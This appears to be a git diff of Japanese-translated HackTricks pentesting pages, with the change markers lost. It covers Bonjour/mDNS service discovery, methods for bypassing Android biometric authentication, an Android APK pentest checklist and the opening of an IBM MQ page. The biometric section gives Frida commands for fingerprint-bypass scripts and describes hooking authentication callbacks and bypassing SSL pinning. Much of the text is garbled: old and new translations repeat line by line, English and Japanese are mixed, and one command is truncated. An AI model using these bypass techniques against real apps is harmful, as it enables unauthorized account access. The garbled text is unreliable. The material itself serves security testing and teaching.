DNSに関して、Bonjourは**マルチキャストDNSmDNSプロトコル**を利用します。mDNSは**ポート5353/UDP**で動作し、**標準DNSクエリ**を使用しますが、**マルチキャストアドレス224.0.0.251**をターゲットにします。このアプローチにより、ネットワーク上のすべてのリスニングデバイスがクエリを受信し応答できるようになり、レコードの更新が促進されます。
ネットワークに参加すると、各デバイスは通常、ホスト名から派生した**.local**で終わる名前を自己選択します。
ネットワークに参加すると、各デバイスは通常**.local**で終わる名前を自己選択し、ホスト名から派生するか、ランダムに生成されます。
ネットワーク内でのサービス検出は、**DNS Service DiscoveryDNS-SD**によって容易になります。DNS SRVレコードの形式を活用するDNS-SDは、**DNS PTRレコード**を使用して複数のサービスをリスト化します。特定のサービスを求めるクライアントは、複数のホストから利用可能な場合、`<Instance>.<Service>.<Domain>`という形式のPTRレコードのリストを受け取ります。
ネットワーク内のサービス発見は、**DNSサービス発見DNS-SD**によって促進されます。DNS SRVレコードの形式を利用し、DNS-SDは**DNS PTRレコード**を使用して複数のサービスのリストを可能にします。特定のサービスを探しているクライアントは、`<Service>.<Domain>`のPTRレコードを要求し、サービスが複数のホストから利用可能な場合、`<Instance>.<Service>.<Domain>`形式のPTRレコードのリストを受け取ります。
`dns-sd`ユーティリティを使用して、**ネットワークサービスの検出と広告**ができます。以下はその使用例です:
`dns-sd`ユーティリティは、**ネットワークサービスの発見と広告**に使用できます。以下はその使用例です:
### SSHサービスの検索
ネットワーク上SSHサービスを検索するには、次のコマンドを使用します
ネットワーク上SSHサービスを検索するには、次のコマンドを使用します
```bash
dns-sd -B _ssh._tcp
```
このコマンドは、_ssh._tcpサービスのブラウジングを開始し、タイムスタンプ、フラグ、インターフェース、ドメイン、サービスタイプ、およびインスタンス名などの詳細を出力します。
このコマンドは、_ssh._tcp サービスのブラウジングを開始し、タイムスタンプ、フラグ、インターフェース、ドメイン、サービスの種類、インスタンス名などの詳細を出力します。
### HTTPサービスの広告
### HTTP サービスの広告
HTTPサービスを広告するには、次のコマンドを使用できます:
HTTP サービスを広告するには、次のようにします:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
このコマンドは、ポート80で`/index.html`のパスを持つHTTPサービスを「Index」という名前で登録します。
このコマンドは、ポート80で`/index.html`のパスを持つ「Index」という名前のHTTPサービスを登録します。
その後、ネットワーク上でHTTPサービスを検索するには:
次に、ネットワーク上のHTTPサービスを検索するには:
```bash
dns-sd -B _http._tcp
```
サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに通知します。これらのサービスに興味を持つデバイスはリクエストを送信する必要はなく、単にこれらのアナウンスを聞くだけです。
サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに利用可能であることを通知します。これらのサービスに興味のあるデバイスは、リクエストを送信する必要はなく、単にこれらの通知を聞くだけです。
よりユーザーフレンドリーなインターフェースのために、Apple App Storeで入手可能な**Discovery - DNS-SD Browser**アプリを使用すると、ローカルネットワークで提供されているサービスを視覚化できます。
よりユーザーフレンドリーなインターフェースのために、Apple App Storeで利用可能な**Discovery - DNS-SD Browser**アプリは、ローカルネットワーク上で提供されているサービスを視覚化できます。
また、`python-zeroconf`ライブラリを使用してサービスをブラウズおよび検出するためのカスタムスクリプトを作成することもできます。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)スクリプトは、`_http._tcp.local.`サービス用のサービスブラウザの作成をデモし、追加または削除されたサービスを出力します。
また、`python-zeroconf`ライブラリを使用してサービスをブラウズおよび発見するためのカスタムスクリプトを作成することもできます。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)スクリプトは、`_http._tcp.local.`サービスのためのサービスブラウザを作成し、追加または削除されたサービスを印刷することを示しています。
```python
from zeroconf import ServiceBrowser, Zeroconf
@ -111,7 +112,7 @@ finally:
zeroconf.close()
```
### Bonjourの無効化
セキュリティ上の懸念やその他の理由からBonjourを無効にする必要がある場合は、次のコマンドを使用してオフにすることができます:
セキュリティに関する懸念やその他の理由でBonjourを無効にする必要がある場合、次のコマンドを使用してオフにできます:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
@ -121,16 +122,17 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,23 @@
# Bypass Biometric Authentication (Android)
# バイパス生体認証 (Android)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください**。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## **方法1 暗号オブジェクトの使用なしでのバイパス**
ここでは、認証プロセスで重要な_onAuthenticationSucceeded_コールバックに焦点を当てます。WithSecureの研究者たちは、\*onAuthenticationSucceeded(...)\*でのNULL _CryptoObject_のバイパスを可能にする[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証を自動的にバイパスします。以下は、Androidの指紋コンテキストでバイパスを示す簡略化されたスニペットであり、完全なアプリケーションは[GitHub](https://github.com/St3v3nsS/InsecureBanking)で入手できます。
## **方法1 暗号オブジェクトを使用せずにバイパスする**
ここでの焦点は、認証プロセスにおいて重要な*onAuthenticationSucceeded*コールバックです。WithSecureの研究者たちは、*onAuthenticationSucceeded(...)*内のNULL *CryptoObject*をバイパスするための[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証の自動バイパスを強制します。以下は、Androidの指紋コンテキストでのバイパスを示す簡略化されたスニペットで、完全なアプリケーションは[GitHub](https://github.com/St3v3nsS/InsecureBanking)で入手できます。
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -24,27 +26,19 @@ Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
}
});
```
```bash
frida -U -f <package_name> -l <script_name.js> --no-pause
```
Fridaスクリプトを実行するコマンド
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
```
## **方法2 例外処理アプローチ**
別の[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)は、セキュリティの脆弱な暗号オブジェクトの使用をバイパスする方法について述べています。このスクリプトは、指紋によって認証されていない_CryptoObject_を使用して_onAuthenticationSucceeded_を呼び出します。アプリケーションが異なる暗号オブジェクトを使用しようとすると、例外が発生します。このスクリプトは、_onAuthenticationSucceeded_を呼び出す準備をし、\_Cipher\_クラスで_javax.crypto.IllegalBlockSizeException_を処理し、アプリケーションによって使用される後続のオブジェクトが新しいキーで暗号化されるようにします。
Fridaスクリプトを実行するコマンド
WithSecureによる別の[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)は、安全でない暗号オブジェクトの使用をバイパスすることに対処しています。このスクリプトは、指紋によって承認されていない*CryptoObject*を使用して*onAuthenticationSucceeded*を呼び出します。アプリケーションが異なる暗号オブジェクトを使用しようとすると、例外が発生します。このスクリプトは、*onAuthenticationSucceeded*を呼び出し、_Cipher_クラス内の*javax.crypto.IllegalBlockSizeException*を処理する準備をし、アプリケーションによって使用される後続のオブジェクトが新しいキーで暗号化されることを保証します。
Fridaスクリプトを実行するためのコマンド:
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
```
以下は、Fridaコンソールで`bypass()`を入力してバイパスをアクティブ化するために、指紋認証画面に到達し`authenticate()`を開始した後の手順です:
指紋画面に到達し、`authenticate()`が開始されると、Fridaコンソールで`bypass()`と入力してバイパスを有効にします:
```
Spawning com.generic.insecurebankingfingerprint...
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
@ -52,35 +46,46 @@ Hooking BiometricPrompt.authenticate2()...
Hooking FingerprintManager.authenticate()...
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> bypass()
```
## **方法3 Instrumentation Frameworks**
## **Method 3 Instrumentation Frameworks**
Instrumentation frameworks like Xposed or Frida can be used to hook into application methods at runtime. For fingerprint authentication, these frameworks can:
1. **Mock the Authentication Callbacks**: By hooking into the `onAuthenticationSucceeded`, `onAuthenticationFailed`, or `onAuthenticationError` methods of the `BiometricPrompt.AuthenticationCallback`, you can control the outcome of the fingerprint authentication process.
2. **Bypass SSL Pinning**: This allows an attacker to intercept and modify the traffic between the client and the server, potentially altering the authentication process or stealing sensitive data.
1. **モック認証コールバック**: `BiometricPrompt.AuthenticationCallback`の`onAuthenticationSucceeded`、`onAuthenticationFailed`、または`onAuthenticationError`メソッドにフックすることで、指紋認証プロセスの結果を制御できます。
2. **SSLピンニングをバイパス**: これにより、攻撃者はクライアントとサーバー間のトラフィックを傍受し、変更することができ、認証プロセスを変更したり、機密データを盗んだりする可能性があります。
Example command for Frida:
```bash
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
```
## **方法4 リバースエンジニアリングとコード修正**
## **方法4 逆コンパイルとコードの変更**
`APKTool`、`dex2jar`、`JD-GUI`のようなリバースエンジニアリングツールを使用して、Androidアプリケーションを逆コンパイルし、そのソースコードを読み、認証メカニズムを理解することができます。一般的な手順は次のとおりです
`APKTool`、`dex2jar`、`JD-GUI`などの逆コンパイルツールを使用して、Androidアプリケーションを逆コンパイルし、ソースコードを読み取り、認証メカニズムを理解することができます。一般的な手順は次のとおりです
1. **APKの逆コンパイル**: APKファイルをより人間が読みやすい形式Javaコードに変換します。
2. **コードの分析**: 指紋認証の実装を探し、フォールバックメカニズムや適切でない検証チェックなどの潜在的な弱点を特定します。
3. **APKの再コンパイル**: 指紋認証をバイパスするためにコードを変更した後、アプリケーションを再コンパイルし、署名してデバイスにインストールしてテストします。
1. **APKの逆コンパイル**: APKファイルをより人間が読みやすい形式Javaコードなどに変換します。
2. **コードの分析**: 指紋認証の実装を探し、潜在的な弱点(フォールバックメカニズムや不適切な検証チェックなど)を特定します。
3. **APKの再コンパイル**: 指紋認証をバイパスするためにコードを修正した後、アプリケーションは再コンパイルされ、署名され、テストのためにデバイスにインストールされます。
## **方法5 カスタム認証ツールの使用**
認証メカニズムをテストおよびバイパスするために設計された専門ツールやスクリプトがあります。例えば:
認証メカニズムをテストおよびバイパスするために設計された専門的なツールやスクリプトがあります。例えば:
1. **MAGISKモジュール**: MAGISKはAndroid用のツールで、ユーザーがデバイスをルート化し、指紋などのハードウェアレベルの情報を変更またはスプーフィングするモジュールを追加できます。
2. **カスタムスクリプト**: スクリプトを作成して、Android Debug BridgeADBやアプリケーションのバックエンドと直接やり取りし、指紋認証をシミュレートしたりバイパスしたりすることができます。
1. **MAGISKモジュール**: MAGISKは、ユーザーがデバイスをルート化し、指紋を含むハードウェアレベルの情報を修正または偽装できるモジュールを追加するためのAndroid用ツールです。
2. **カスタムビルドスクリプト**: スクリプトは、AndroidデバッグブリッジADBと対話するか、アプリケーションのバックエンドと直接対話して指紋認証をシミュレートまたはバイパスするために書かれることがあります。
## 参考文献
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Android APK チェックリスト
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**Try Hard Security Group**
@ -20,10 +23,10 @@
***
### [Androidの基を学ぶ](android-app-pentesting/#2-android-application-fundamentals)
### [Androidの基を学ぶ](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [基本](android-app-pentesting/#fundamentals-review)
* [ ] [DalvikSmali](android-app-pentesting/#dalvik--smali)
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
* [ ] [エントリーポイント](android-app-pentesting/#application-entry-points)
* [ ] [アクティビティ](android-app-pentesting/#launcher-activity)
* [ ] [URLスキーム](android-app-pentesting/#url-schemes)
@ -33,46 +36,46 @@
* [ ] [インテント](android-app-pentesting/#intents)
* [ ] [インテントフィルター](android-app-pentesting/#intent-filter)
* [ ] [その他のコンポーネント](android-app-pentesting/#other-app-components)
* [ ] [ADBの使用方法](android-app-pentesting/#adb-android-debug-bridge)
* [ ] [ADBの使い方](android-app-pentesting/#adb-android-debug-bridge)
* [ ] [Smaliの修正方法](android-app-pentesting/#smali)
### [静的析](android-app-pentesting/#static-analysis)
### [静的析](android-app-pentesting/#static-analysis)
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用をチェックし、モバイルがルート化されているか、エミュレータが使用されているか、および防御チェックが行われているかを確認します。[詳細はこちら](android-app-pentesting/#other-checks)を参照してください
* [ ] 銀行アプリなどの**重要なアプリケーション**は、モバイルがルート化されているかどうかをチェックし、適切に対応する必要があります。
* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど検索します。
* [ ] [firebase ](android-app-pentesting/#firebase)APIに特別な注意を払います。
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタンパリングチェックを行います。[詳細についてはここを読んでください](android-app-pentesting/#other-checks)
* [ ] 機密アプリケーション(銀行アプリなど)は、モバイルがルート化されているか確認し、それに応じて行動する必要があります。
* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなどします。
* [ ] [Firebase](android-app-pentesting/#firebase)APIに特に注意を払います。
* [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] アプリケーションがデバッグモードであるかどうかを確認し、それを「悪用」しようとします
* [ ] APKがバックアップを許可しているかどうかを確認します
* [ ] アプリケーションがデバッグモードであるか確認し、「エクスプロイト」しようとします。
* [ ] APKがバックアップを許可しているか確認します
* [ ] エクスポートされたアクティビティ
* [ ] コンテンツプロバイダー
* [ ] 公開されたサービス
* [ ] ブロードキャストレシーバー
* [ ] URLスキーム
* [ ] アプリケーションが内部または外部に**安全でないデータを保存**しているかどうかは
* [ ] パスワードがハードコードされているか、ディスクに保存されているかは?アプリが**安全でない暗号アルゴリズム**を使用しているかは
* [ ] アプリケーションは[内部または外部にデータを不安全に保存しているか](android-app-pentesting/#insecure-data-storage)
* [ ] [パスワードがハードコーディングされているか、ディスクに保存されているか](android-app-pentesting/#poorkeymanagementprocesses)?アプリは[不安全な暗号アルゴリズムを使用しているか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)
* [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか
* [ ] このフェーズ中に非常に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
* [ ] このフェーズ役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
### [動的析](android-app-pentesting/#dynamic-analysis)
### [動的析](android-app-pentesting/#dynamic-analysis)
* [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis)
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるかどうかを確認します(ログ記録、コピー/貼り付け、クラッシュログ)
* [ ] **SQLiteデータベースに保存されている機密情報**は
* [ ] **悪用可能な公開されたアクティビティ**は
* [ ] **悪用可能なコンテンツプロバイダー**は
* [ ] **悪用可能な公開されたサービス**は
* [ ] **悪用可能なブロードキャストレシーバー**は
* [ ] アプリケーションが情報を**平文で送信/弱いアルゴリズムを使用**しているかどうかはMitMが可能ですか?
* [ ] **HTTP/HTTPSトラフィックを検査**しますandroid-app-pentesting/#inspecting-http-traffic
* [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWeb脆弱性を検索できますHacktricksにはWeb脆弱性に関する多くの情報があります)。
* [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)をチェックします(おそらくここでいくつかの静的コード分析が役立つでしょう)
* [ ] [Frida](android-app-pentesting/#frida)Fridaだけを使用してアプリケーションから興味深い動的データを取得します(おそらくいくつかのパスワード...
* [ ] 環境を準備す[オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis)
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)(ログ、コピー/ペースト、クラッシュログ)はありますか
* [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか
* [ ] [エクスプロイト可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか
* [ ] [エクスプロイト可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか
* [ ] [エクスプロイト可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか
* [ ] [エクスプロイト可能なブロードキャストレシーバー](android-app-pentesting/#exploiting-broadcast-receivers)はありますか
* [ ] アプリケーションは[平文で情報を送信しているか/弱いアルゴリズムを使用しているか](android-app-pentesting/#insufficient-transport-layer-protection)MitMは可能ですか?
* [ ] [HTTP/HTTPSトラフィックを検査する](android-app-pentesting/#inspecting-http-traffic)
* [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を探すことができますHacktricksにはWebの脆弱性に関する多くの情報があります)。
* [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)を確認します(おそらく静的コード分析が役立ちます)。
* [ ] [Frida](android-app-pentesting/#frida)Fridaを使用してアプリケーションから興味深い動的データを取得しますおそらくいくつかのパスワード...
### 難読化/難読化情報
### 一部の難読化/デオブフスケーション情報
* [ ] [ちらを読んでください](android-app-pentesting/#obfuscating-deobfuscating-code)
* [ ] [を読んでください](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard Security Group**
@ -81,14 +84,17 @@
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,45 +1,48 @@
# 1414 - IBM MQのペンテスト
# 1414 - Pentesting IBM MQ
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
